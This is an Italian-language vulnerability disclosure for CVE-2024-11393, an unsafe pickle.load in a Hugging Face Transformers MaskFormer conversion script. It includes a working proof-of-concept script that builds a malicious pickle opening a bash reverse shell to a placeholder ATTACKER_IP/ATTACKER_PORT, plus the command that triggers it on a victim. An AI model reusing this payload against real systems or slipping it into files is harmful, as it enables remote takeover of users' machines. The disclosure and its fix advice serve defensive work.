
Dettagli tecnici ed exploit per CVE-2024-11393
Panoramica di alto livello ed effetti della vulnerabilità:
La vulnerabilità consente a un utente malintenzionato di eseguire codice arbitrario sulla macchina vittima fornendo un file checkpoint maskformer resnet dannoso allo script convert_maskformer_swin_to_pytorch.py nel repository Hugging Face Transformers.
Se un utente ignaro utilizza un file checkpoint maskformer resnet di terze parti, l'esecuzione dello script convert_maskformer_swin_to_pytorch.py porterà all'esecuzione di codice remoto (RCE) sul sistema della vittima.
Il prodotto vulnerabile
Analisi della causa principale
Descrizione dettagliata della vulnerabilità: La vulnerabilità deriva dalla deserializzazione non sicura di dati non attendibili. Lo script utilizza pickle.load per caricare il file checkpoint ed è vulnerabile all'esecuzione di codice.
Flusso del codice dall'input alla condizione vulnerabile:
maskformer di terze parti.convert_maskformer_swin_to_pytorch.py e gli passa il file checkpoint.convert_maskformer_swin_to_pytorch.py deserializza il file checkpoint ed esegue il codice dannoso.Punto di iniezione: La vulnerabilità si verifica nel punto in cui viene chiamato pickle.load.
Permalink GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Correzioni suggerite: Sostituire pickle.load con yaml.safe_load(yaml_file) oppure json.load per impedire l'esecuzione di codice arbitrario.
Istruzioni per eseguire la proof-of-concept:
malicious.pkl che creerà una reverse shell sul sistema della vittima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
Nota: Modificare ATTACKER_IP e ATTACKER_PORT prima di inviare il file alla vittima.
convert_maskformer_swin_to_pytorch.py e passare il file malicious.pkl a --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Nota:
pytorch_dump_folder_pathpuò essere impostato su qualsiasi directory emodel_namepuò essere qualsiasi modello.
Link per il download del software:
https://github.com/huggingface/transformers/tree/main